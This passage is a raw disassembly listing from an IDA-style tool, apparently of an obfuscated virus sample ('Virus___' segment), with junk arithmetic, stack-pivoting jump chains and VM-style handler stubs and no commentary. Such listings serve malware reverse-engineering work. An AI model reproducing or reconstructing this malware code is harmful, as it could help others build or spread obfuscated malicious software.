		xor	[esp-32h+arg_2E], esi
		xor	esi, [esp-32h+arg_2E]
		jmp	loc_546060
; ---------------------------------------------------------------------------


loc_54C5B2:				; CODE XREF: sub_545A2B+5D22j
		add	esp, 4
		jmp	loc_54EA16
; ---------------------------------------------------------------------------


loc_54C5BD:				; CODE XREF: sub_545A2B-2551j
		mov	edi, 29CC4DE9h
		add	ecx, edi
		pop	edi
		xor	ecx, 6FEF7C76h
		sub	ecx, 19B004CFh
		xor	ecx, 6EDD8F43h
		sub	edx, 2D5B46E9h
		sub	edx, ecx
		add	edx, 2D5B46E9h
		pop	ecx
		sub	edx, eax
		add	edx, 73FF2015h
		sub	edx, 49997CA9h
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C5F9:				; CODE XREF: sub_545A2B-A2Ej
		xor	edi, 900BAE51h
		add	edx, edi
		push	[esp-28h+arg_22+2]
		pop	edi
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp-2Ch+arg_26+2]
		mov	esp, [esp-2Ch+arg_26+2]
		mov	eax, ebx
		mov	ebx, [esp-2Ch+arg_26+2]
		add	esp, 4
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C624:				; CODE XREF: sub_545A2B+54CDj
		mov	[esp-32h+arg_2E], eax
		mov	eax, esp
		push	esi
		jmp	loc_54E39C
; ---------------------------------------------------------------------------


loc_54C62F:				; CODE XREF: sub_545877+13j
		add	esp, 4
		xor	ebx, 7E7D76F4h
		and	eax, ebx
		mov	ebx, [esp-32h+arg_2E]
		jmp	loc_54C51B
; ---------------------------------------------------------------------------


loc_54C645:				; CODE XREF: sub_545A2B+496Aj
		sub	eax, 1BD02657h
		pop	edx
		add	ebp, 54180CAAh
		add	ebp, eax
		sub	ebp, 54180CAAh
		pop	eax
		push	edx
		mov	edx, 4
		jmp	loc_54ACB5
; ---------------------------------------------------------------------------


loc_54C665:				; CODE XREF: sub_545A2B+165Dj
		pop	ecx
		add	esi, 4
		xchg	esi, [esp-64h+arg_60]
		pop	esp
		jmp	loc_54780A
; ---------------------------------------------------------------------------


loc_54C675:				; CODE XREF: sub_545A2B+5090j
		pop	esp
		xor	ebp, [esp-26h+arg_22]
		xor	[esp-26h+arg_22], ebp
		jmp	loc_543833
; ---------------------------------------------------------------------------


loc_54C681:				; CODE XREF: sub_545A2B-200Dj
		push	ecx
		jmp	loc_548238
; ---------------------------------------------------------------------------


loc_54C687:				; CODE XREF: sub_545A2B+5239j
		add	edx, esi
		pop	esi
		push	ebx
		push	edx
		mov	edx, 29EE6EB3h
		mov	ebx, 0D6119151h
		jmp	loc_5446E6
; ---------------------------------------------------------------------------


loc_54C69B:				; CODE XREF: sub_545A2B+93CBj
		pop	ebp
		xor	ebp, ebx
		jmp	loc_54D437
; ---------------------------------------------------------------------------


loc_54C6A3:				; CODE XREF: sub_545A2B+2B48j
		shl	ebx, 7
		sub	ebx, 704663DCh
		dec	ebx
		add	ebx, 910896A6h
		jmp	loc_549345
; ---------------------------------------------------------------------------


loc_54C6B8:				; CODE XREF: sub_545A2B-21FDj
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		jmp	loc_549B49
; ---------------------------------------------------------------------------


loc_54C6C3:				; CODE XREF: sub_545A2B+2BD9j
		mov	[esp-38h+arg_32+2], esp
		add	[esp-38h+arg_32+2], 4
		push	[esp-38h+arg_32+2]
		pop	ebp
		jmp	loc_547624
; ---------------------------------------------------------------------------


loc_54C6D3:				; CODE XREF: sub_545A2B-29ABj
		shr	ecx, 2
		jmp	loc_54A4FA
; ---------------------------------------------------------------------------


loc_54C6DB:				; CODE XREF: sub_545A2B+8CCBj
		sub	esi, ebp
		jmp	loc_547C3A
; ---------------------------------------------------------------------------


loc_54C6E2:				; CODE XREF: sub_545A2B+32B6j
		xchg	ebp, [esp-16h+arg_12]
		pop	esp
		jmp	loc_5468B1
; ---------------------------------------------------------------------------


loc_54C6EB:				; CODE XREF: sub_545A2B+81D2j
		add	ebx, eax
		push	4718h
		mov	[esp-16h+arg_12], ecx
		push	esi
		push	ecx
		push	31810F7Ch
		pop	ecx
		shr	ecx, 6
		sub	ecx, 0D3BAD01Dh
		mov	esi, ecx
		pop	ecx
		mov	ecx, 334C924Dh
		jmp	loc_549406
; ---------------------------------------------------------------------------


loc_54C713:				; CODE XREF: sub_545A2B-27E3j
		push	463h
		jmp	loc_54A427
; ---------------------------------------------------------------------------


loc_54C71D:				; CODE XREF: sub_545A2B+396Dj
		mov	edx, 88541D5h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-18h+arg_12+2]
		jmp	loc_54ADC1
; ---------------------------------------------------------------------------


loc_54C737:				; CODE XREF: sub_545A2B+743Cj
		xchg	eax, [esp-18h+arg_12+2]
		pop	esp
		jmp	loc_5475CB
; ---------------------------------------------------------------------------
		push	[esp-1Ch+arg_16+2]
		jmp	loc_54BF61
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp-1Ah+arg_16], ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C758:				; CODE XREF: sub_545A2B+3932j
		mov	edi, ebp
		jmp	sub_54DECB
; ---------------------------------------------------------------------------


loc_54C75F:				; CODE XREF: sub_545A2B+2091j
		shl	eax, 2
		shl	eax, 6
		push	0
		sub	[esp-40h+arg_3A+2], eax
		pop	eax
		jmp	loc_54ECD2
; ---------------------------------------------------------------------------


loc_54C773:				; CODE XREF: sub_545A2B-DC1j
		shr	ebp, 2
		sub	ebp, 0CC43ADD5h
		and	esi, ebp
		pop	ebp
		inc	esi
		jmp	loc_544241
; ---------------------------------------------------------------------------


loc_54C785:				; CODE XREF: Virus___:0054D344j
		push	[esp-1Ch+arg_16+2]
		jmp	loc_548610
; ---------------------------------------------------------------------------


loc_54C78D:				; CODE XREF: sub_545A2B+3431j
		add	eax, ebx
		mov	ebx, [esp-1Ah+arg_16]
		push	esi
		jmp	loc_54507E
; ---------------------------------------------------------------------------


loc_54C798:				; CODE XREF: sub_545A2B+63DAj
		dec	dx
		inc	dx
		add	dx, 5BA7h
		xor	dx, 0C760h
		sub	bx, dx
		pop	edx
		add	bx, ax
		add	bx, 38C7h
		push	small 0FBDh
		jmp	loc_54CA11
; ---------------------------------------------------------------------------


loc_54C7BB:				; CODE XREF: sub_545A2B-1AF6j
		add	eax, 0B5CA0C0Fh
		mov	edi, eax
		pop	eax
		add	eax, edi
		pop	edi
		not	eax
		sub	eax, 0EE4056ADh
		add	edi, eax
		pop	eax
		sub	edi, 0A9A3D95Eh
		or	edi, 611D28B1h
		shl	edi, 2
		push	edi
		push	ecx
		jmp	loc_54347C
; ---------------------------------------------------------------------------


loc_54C7E6:				; CODE XREF: sub_545A2B+2B6Bj
		or	edx, 4C88019Ch
		jmp	loc_549C08
; ---------------------------------------------------------------------------


loc_54C7F1:				; CODE XREF: sub_545A2B+5F46j
		mov	ch, ah
		pop	eax
		jmp	loc_543988
; ---------------------------------------------------------------------------


loc_54C7F9:				; CODE XREF: sub_545A2B-2977j
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp-0Eh+arg_A]
		pop	esp
		push	small 5772h
		mov	word ptr [esp-10h+arg_A+2], ax
		mov	ah, 7Bh
		sub	bl, 8Eh
		add	bl, ah
		jmp	loc_5434DF
; ---------------------------------------------------------------------------


loc_54C81A:				; CODE XREF: sub_545A2B+8BFj
		sub	esi, 0EC5C9575h
		jmp	loc_545DB8
; ---------------------------------------------------------------------------


loc_54C825:				; CODE XREF: sub_545A2B+4634j
		or	bl, 38h
		push	ecx
		mov	cl, 68h
		add	bl, cl
		jmp	loc_543E55
; ---------------------------------------------------------------------------


loc_54C832:				; CODE XREF: sub_545A2B+83C6j
		push	edi
		jmp	loc_549DBB
; ---------------------------------------------------------------------------


loc_54C838:				; CODE XREF: sub_545A2B+6EA2j
		push	ebx
		mov	ebx, 2
		sub	eax, ebx
		mov	ebx, [esp-18h+arg_12+2]
		add	esp, 4
		xchg	eax, [esp-1Ch+arg_16+2]
		jmp	loc_54AD8D
; ---------------------------------------------------------------------------


loc_54C851:				; CODE XREF: Virus___:0054F3F6j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_544F3C
; ---------------------------------------------------------------------------


loc_54C85E:				; CODE XREF: sub_545A2B+Aj
		push	edi
		jmp	loc_5430FA
sub_545A2B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edi
		jmp	loc_545622
; ---------------------------------------------------------------------------


loc_54C86D:				; DATA XREF: Virus___:00542E9Co
		mov	cx, [esp]
		push	ebp
		jmp	loc_544A17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54C877:				; CODE XREF: sub_545A2B-1C4Bj
		pop	ecx
		add	ebx, edi
		pop	edi
		jmp	loc_54F4A3
; ---------------------------------------------------------------------------


loc_54C880:				; CODE XREF: sub_545A2B+7624j
		push	esi
		jmp	loc_54630E
; ---------------------------------------------------------------------------


loc_54C886:				; CODE XREF: sub_545A2B+5E39j
		mov	ecx, 399061D8h
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		sub	ecx, 0C66F9E23h
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp-22h+arg_1E]
		pop	esp
		mov	[esp-26h+arg_22], eax
		jmp	loc_545E65
; ---------------------------------------------------------------------------


loc_54C8A9:				; CODE XREF: sub_545A2B+6E7j
		mov	[esp-1Ah+arg_16], ebp
		mov	ebp, 4
		add	ecx, 2D1B44C9h
		sub	ecx, ebp
		push	edx
		jmp	loc_549716
; ---------------------------------------------------------------------------


loc_54C8BF:				; CODE XREF: sub_545A2B+17E9j
		sub	edi, 0ECACC2Bh
		jmp	loc_54B237
; ---------------------------------------------------------------------------


loc_54C8CA:				; CODE XREF: sub_545A2B+5609j
		add	eax, edi
		pop	edi
		jmp	loc_54C838
; ---------------------------------------------------------------------------


loc_54C8D2:				; CODE XREF: sub_545A2B+2068j
		add	esp, 4
		sub	eax, 61901730h
		add	eax, 1CF60848h
		jmp	loc_54B3B5
; ---------------------------------------------------------------------------


loc_54C8E7:				; CODE XREF: sub_545A2B+6EE0j
		mov	ebx, [esp-50h+arg_4C]
		add	esp, 4
		push	esi
		push	edi
		mov	edi, 0F3993CBCh
		mov	esi, edi
		pop	edi
		sub	eax, esi
		jmp	loc_54ACFC
; ---------------------------------------------------------------------------


loc_54C901:				; CODE XREF: sub_545A2B-1FFDj
		mov	[esp-4Ch+arg_46+2], ebx
		mov	ebx, 6ECD4EB8h
		and	eax, ebx
		jmp	loc_54C8E7
; ---------------------------------------------------------------------------


loc_54C910:				; CODE XREF: sub_545A2B+158Fj
		pop	esi
		sub	edi, 2D364457h
		push	eax
		jmp	loc_545895
; ---------------------------------------------------------------------------


loc_54C91D:				; CODE XREF: sub_545A2B+2489j
		pop	edi
		jmp	loc_54A1B7
; ---------------------------------------------------------------------------


loc_54C923:				; CODE XREF: sub_545A2B-F95j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp-54h+arg_50]
		pop	esp
		push	ecx
		mov	ecx, 46FB617Fh
		jmp	loc_54583F
; ---------------------------------------------------------------------------


loc_54C935:				; CODE XREF: sub_545A2B+7A72j
		push	218D5F57h
		pop	ebx
		not	ebx
		or	ebx, 408E0343h
		or	ebx, 2D4000DDh
		xor	ebx, 8446B2F6h
		jmp	loc_54D590
; ---------------------------------------------------------------------------


loc_54C954:				; CODE XREF: sub_545A2B+42AFj
		xor	[esp-1Ah+arg_1A], ebp
		pop	ebp
		jmp	loc_548F3F
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54C95E	proc near		; CODE XREF: sub_545A2B+1BD0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00545372 SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_545372
sub_54C95E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54C969:				; CODE XREF: sub_545A2B+9324j
		xor	ebp, [esp-1Eh+arg_1A]
		jmp	loc_5462D8
; ---------------------------------------------------------------------------


loc_54C971:				; CODE XREF: sub_545A2B+8529j
		xor	[esp-1Eh+arg_1A], eax
		xor	eax, [esp-1Eh+arg_1A]
		jmp	loc_5466FE
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54317D


loc_54C97C:				; CODE XREF: sub_54317D+89Bj
		push	24DC411Fh
		push	[esp+0Ch+var_C]
		pop	ecx
		add	esp, 4
		jmp	loc_54CEEA
; END OF FUNCTION CHUNK	FOR sub_54317D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54C98D:				; CODE XREF: sub_545A2B+6966j
		push	179Bh
		jmp	loc_54B12F
; ---------------------------------------------------------------------------


loc_54C997:				; CODE XREF: sub_545A2B+1081j
		mov	ebx, [esp-3Ah+arg_36]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		xor	[esp-3Eh+arg_3A], ebx
		xor	ebx, [esp-3Eh+arg_3A]
		xor	[esp-3Eh+arg_3A], ebx
		sub	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp-3Ah+arg_36], ebx
		push	[esp-3Ah+arg_3A]
		mov	ebx, [esp-36h+arg_32]
		jmp	loc_54364C
; ---------------------------------------------------------------------------


loc_54C9CB:				; CODE XREF: sub_545A2B+9166j
		not	edi
		dec	edi
		add	edi, 40BB6192h
		xor	edi, 2C4D798Dh
		sub	edi, 7161A837h
		jmp	loc_54460B
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54C9E5	proc near		; CODE XREF: sub_545A2B-FDFj
		sub	esp, 4
		jmp	loc_549706
sub_54C9E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_54C9ED	proc near		; CODE XREF: sub_545A2B+8393j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005450A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0054E1BC SIZE 00000013 BYTES

		push	ebx
		push	ecx
		mov	cl, 0FCh
		or	cl, 30h
		sub	cl, 9Fh
		jmp	loc_5450A3
sub_54C9ED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54C9FC:				; CODE XREF: sub_545A2B+8A6Fj
		sub	bl, dh
		sub	bl, 0AAh
		mov	edx, [esp-36h+arg_32]
		jmp	loc_547A7D
; ---------------------------------------------------------------------------


loc_54CA09:				; CODE XREF: sub_545A2B+13CBj
		add	esi, ebp
		pop	ebp
		jmp	loc_54BE8A
; ---------------------------------------------------------------------------


loc_54CA11:				; CODE XREF: sub_545A2B+6D8Bj
		mov	word ptr [esp-20h+arg_1A+2], bp
		push	eax
		mov	ax, 55CEh
		not	ax
		push	si
		jmp	loc_54AB7A
; ---------------------------------------------------------------------------


loc_54CA24:				; CODE XREF: sub_545A2B+2CF5j
		not	bh
		inc	bh
		xor	bh, 99h
		jmp	loc_547B68
; ---------------------------------------------------------------------------


loc_54CA30:				; CODE XREF: sub_545A2B-527j
		sub	edi, esi
		pop	esi
		xchg	edi, [esp-3Eh+arg_3A]
		pop	esp
		mov	[esp-42h+arg_3E], ecx
		push	esp
		pop	ecx
		jmp	loc_54CB6F
; ---------------------------------------------------------------------------


loc_54CA41:				; CODE XREF: sub_545A2B+1EC4j
		pop	ax
		shl	bh, 8
		add	bh, 0C8h
		add	al, 10h
		sub	al, 78h
		sub	al, bh
		add	al, 78h
		sub	al, 10h
		jmp	loc_54B82B
; ---------------------------------------------------------------------------


loc_54CA58:				; CODE XREF: sub_545A2B+1090j
		and	esi, 51CF1B06h
		add	esi, 0FFFFFFFFh
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		jmp	loc_54703D
; ---------------------------------------------------------------------------


loc_54CA6A:				; CODE XREF: sub_545A2B+7250j
		not	ecx
		xchg	ecx, edx
		add	edx, 1EC522E4h
		shr	edx, 4
		push	eax
		mov	eax, 14501643h
		jmp	loc_545BA9
; ---------------------------------------------------------------------------


loc_54CA82:				; CODE XREF: sub_545A2B+58E7j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-4Ah+arg_46]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 751A5B44h
		sub	[esp-4Eh+arg_4C+2], 7486276Eh
		add	[esp-4Eh+arg_4C+2], ecx
		jmp	loc_54A548
; ---------------------------------------------------------------------------


loc_54CAAB:				; CODE XREF: sub_545A2B+97B7j
		xor	edx, eax
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54CAB2:				; CODE XREF: sub_545A2B+63D1j
		mov	edx, 5E4A5C69h
		inc	edx
		sub	edx, 607993D1h
		add	ebx, edx
		pop	edx
		push	0AB4h
		mov	[esp-1Eh+arg_1A], ecx
		jmp	loc_54EED5
; ---------------------------------------------------------------------------


loc_54CACE:				; CODE XREF: sub_545A2B+9690j
		pop	esi
		and	eax, edx
		mov	edx, [esp-22h+arg_1E]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_548644
; ---------------------------------------------------------------------------


loc_54CAE9:				; CODE XREF: sub_545A2B+3827j
		pop	ebx
		push	edi
		push	esi
		mov	esi, 784C261Fh
		jmp	loc_54614D
; ---------------------------------------------------------------------------


loc_54CAF6:				; CODE XREF: sub_545A2B+48DEj
		sub	ebx, 4
		xchg	ebx, [esp-34h+arg_2E+2]
		jmp	loc_543D52
; ---------------------------------------------------------------------------


loc_54CB04:				; CODE XREF: sub_545A2B-A3Ej
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp-28h+arg_22+2]
		mov	esp, [esp-28h+arg_22+2]
		add	ebx, 2
		jmp	loc_54C212
; ---------------------------------------------------------------------------


loc_54CB1D:				; CODE XREF: sub_545A2B+863Aj
		push	edi
		jmp	loc_549A89
; ---------------------------------------------------------------------------


loc_54CB23:				; CODE XREF: sub_545A2B+8D39j
		pop	eax
		push	esi
		add	[esp-24h+arg_1E+2], 0FFFFFFFFh
		pop	esi
		shr	esi, 7
		push	esi
		not	[esp-24h+arg_1E+2]
		pop	esi
		add	esi, 9DFAB1h
		push	esi
		jmp	loc_54DE8C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54CB3E:				; DATA XREF: Virus___:00542E88o
		push	dword ptr [esp]
		jmp	loc_54D30B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54EB9E


loc_54CB46:				; CODE XREF: sub_54EB9E+6j
		mov	[esp+4+var_4], esp
		jmp	loc_544C9C
; END OF FUNCTION CHUNK	FOR sub_54EB9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CB4E:				; CODE XREF: sub_545A2B+287Bj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-40h+arg_3A+2]
		pop	esp
		mov	[esp-44h+arg_3E+2], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_54D37B
; ---------------------------------------------------------------------------


loc_54CB6A:				; CODE XREF: sub_545A2B+914Bj
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54CB6F:				; CODE XREF: sub_545A2B+7011j
		push	esi
		push	edi
		mov	edi, 542239BFh
		mov	esi, 0A4DB42DFh
		sub	esi, edi
		pop	edi
		not	esi
		or	esi, 32D77828h
		add	esi, 40280105h
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp-42h+arg_3E]
		pop	esp
		pop	[esp-46h+arg_42]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54CBA1:				; CODE XREF: sub_545A2B+38D3j
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp-56h+arg_50+2], ebx
		push	esi
		jmp	loc_54C599
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	eax
		push	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		sub	esp, 4
		jmp	loc_54EB57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CBDE:				; CODE XREF: sub_545A2B+4EDDj
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp-16h+arg_12]
		jmp	loc_5464AF
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_547037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CBF3:				; CODE XREF: sub_545A2B+829Aj
		mov	[esp-16h+arg_12], edx
		mov	edx, 32BD1B17h
		push	ebx
		mov	ebx, edx
		mov	ebp, ebx
		pop	ebx
		pop	edx
		jmp	loc_54D68F
; ---------------------------------------------------------------------------


loc_54CC07:				; CODE XREF: sub_545A2B+630j
		pop	esp
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		jmp	loc_54E63C
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54CC16	proc near		; CODE XREF: sub_545A2B-26C0j
		push	ebx
		mov	ebx, 2
		sub	eax, ebx
		pop	ebx
		jmp	loc_547913
sub_54CC16	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CC24:				; CODE XREF: sub_545A2B-1EEBj
		add	edx, ecx
		push	[esp-26h+arg_22]
		pop	ecx
		add	esp, 4
		shr	edx, 4
		shr	edx, 2
		push	ebx
		jmp	loc_5442CE
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54CC39:				; DATA XREF: Virus___:00542ED8o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CC48:				; CODE XREF: sub_545A2B+15C2j
		pop	edx
		jmp	loc_54C110
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543D76


loc_54CC4E:				; CODE XREF: sub_543D76+93A8j
		push	eax
		mov	eax, 2
		jmp	loc_549F38
; END OF FUNCTION CHUNK	FOR sub_543D76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CC59:				; CODE XREF: sub_545A2B+2954j
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp-1Ah+arg_16]
		pop	esp
		add	esp, 4
		jmp	loc_543C3C
; ---------------------------------------------------------------------------


loc_54CC68:				; CODE XREF: sub_545A2B+3E38j
		mov	[edi+eax*4], cl
		mov	ecx, [esp+0]
		jmp	loc_54A713
; ---------------------------------------------------------------------------


loc_54CC73:				; CODE XREF: sub_545A2B+6484j
		add	edx, 3AEB052Fh
		xchg	ecx, edx
		jmp	loc_54CA6A
; ---------------------------------------------------------------------------


loc_54CC80:				; CODE XREF: sub_545A2B+18EFj
		push	1DBEh
		mov	[esp-18h+arg_12+2], edx
		mov	edx, 5A0A2500h
		mov	eax, 5A0A2524h
		sub	eax, edx
		mov	edx, [esp-18h+arg_12+2]
		jmp	loc_544772
; ---------------------------------------------------------------------------


loc_54CC9C:				; CODE XREF: sub_545A2B+8834j
		add	esp, [edx+38h]
		sub	esp, 4
		mov	[esp-14h+arg_E+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp-14h+arg_E+2]
		jmp	loc_545525
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54CCBE:				; DATA XREF: Virus___:00542D20o
		mov	cx, [esp]
		push	edx
		jmp	loc_545234
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CCC8:				; CODE XREF: sub_545A2B+9986j
		xchg	eax, edx
		inc	eax
		xchg	eax, edx
		jmp	loc_54BA16
; ---------------------------------------------------------------------------


loc_54CCD0:				; CODE XREF: sub_545A2B-C79j
		pop	esp
		jmp	loc_549DC6
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545002


loc_54CCD6:				; CODE XREF: sub_545002+1Bj
		mov	[esp+8+var_8], ecx
		mov	ecx, 19C66624h
		not	ecx
		shr	ecx, 7
		add	ecx, 5BE80730h
		not	ecx
		or	ecx, 626B7DCBh
		dec	ecx
		shr	ecx, 3
		add	ecx, 0E3B28049h
		sub	ebx, 803FCBh
		add	ebx, ecx
		add	ebx, 803FCBh
		jmp	loc_5472A7
; END OF FUNCTION CHUNK	FOR sub_545002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E80B


loc_54CD0E:				; CODE XREF: sub_54E80B+6j
		mov	ebx, 0F5F89CE2h
		xor	edx, ebx
		jmp	loc_54D1EB
; END OF FUNCTION CHUNK	FOR sub_54E80B
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0ADh
		push	ecx
		mov	cl, 7Ah
		add	al, 3
		add	al, cl
		jmp	loc_54AF1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CD29:				; CODE XREF: sub_545A2B-A68j
		add	[esp-1Ch+arg_16+2], 0FFFFFFFFh
		pop	edi
		shl	edi, 5
		neg	edi
		shl	edi, 8
		sub	edi, 3A7C3FFCh
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp-24h+arg_1E+2]
		pop	esp
		jmp	loc_54873C
; ---------------------------------------------------------------------------


loc_54CD4B:				; CODE XREF: sub_545A2B+3BB1j
		push	[esp-6+arg_0+2]
		jmp	loc_54DED1
; ---------------------------------------------------------------------------


loc_54CD53:				; CODE XREF: sub_545A2B+1877j
		mov	ebp, [esp-40h+arg_3A+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_545C40
; ---------------------------------------------------------------------------


loc_54CD67:				; CODE XREF: sub_545A2B-121Cj
		add	eax, 315B1E4Ah
		add	eax, 47124A69h
		inc	eax
		neg	eax
		add	eax, 4169041Dh
		add	eax, 16A6DB00h
		jmp	loc_5483FA
; ---------------------------------------------------------------------------


loc_54CD83:				; CODE XREF: sub_545A2B+9142j
		add	eax, ebx
		mov	ebx, [esp-36h+arg_32]
		push	edi
		push	esp
		jmp	loc_54BF28
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_547276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CD9B:				; CODE XREF: sub_545A2B+7B90j
		add	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		sub	eax, ebp
		sub	eax, 29062DC0h
		mov	ebp, [esp-36h+arg_32]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-32h+arg_2E]
		xor	[esp-32h+arg_2E], esi
		xor	esi, [esp-32h+arg_2E]
		pop	esp
		jmp	loc_5444AE
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3A7Eh
		mov	[esp], esi
		push	edi
		jmp	loc_5430C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E0D7


loc_54CDDB:				; CODE XREF: sub_54E0D7+9j
		push	eax
		mov	al, 61h
		mov	cl, 8Ch
		jmp	loc_54716D
; END OF FUNCTION CHUNK	FOR sub_54E0D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CDE5:				; CODE XREF: sub_545A2B+66DAj
		pop	eax
		push	ecx
		jmp	loc_5499EC
; ---------------------------------------------------------------------------


loc_54CDEC:				; CODE XREF: sub_545A2B+75F4j
		mov	[esp-0Eh+arg_A], ebx
		jmp	loc_54588F
; ---------------------------------------------------------------------------


loc_54CDF4:				; CODE XREF: sub_545A2B+8E1Aj
		pop	ebx
		jmp	loc_54E9FF
; ---------------------------------------------------------------------------


loc_54CDFA:				; CODE XREF: sub_545A2B-CF6j
		add	ebx, 45466663h
		sub	ebx, edx
		sub	ebx, 45466663h
		pop	edx
		push	edx
		mov	edx, 4AB561CFh
		push	27F2h
		jmp	loc_54D499
; ---------------------------------------------------------------------------


loc_54CE19:				; CODE XREF: sub_545A2B-22C2j
		mov	esp, [esp-16h+arg_12]
		jmp	loc_548F25
; ---------------------------------------------------------------------------


loc_54CE21:				; CODE XREF: sub_545A2B+150Bj
		pop	esp
		sub	esp, 4
		mov	[esp-28h+arg_22+2], esp
		add	[esp-28h+arg_22+2], 4
		jmp	loc_543EF8
; ---------------------------------------------------------------------------


loc_54CE34:				; CODE XREF: sub_545A2B+9E6j
		add	edx, 4
		xchg	edx, [esp-40h+arg_3A+2]
		jmp	loc_54C390
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	5266h
		jmp	loc_549FDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CE53:				; CODE XREF: sub_545A2B-41Cj
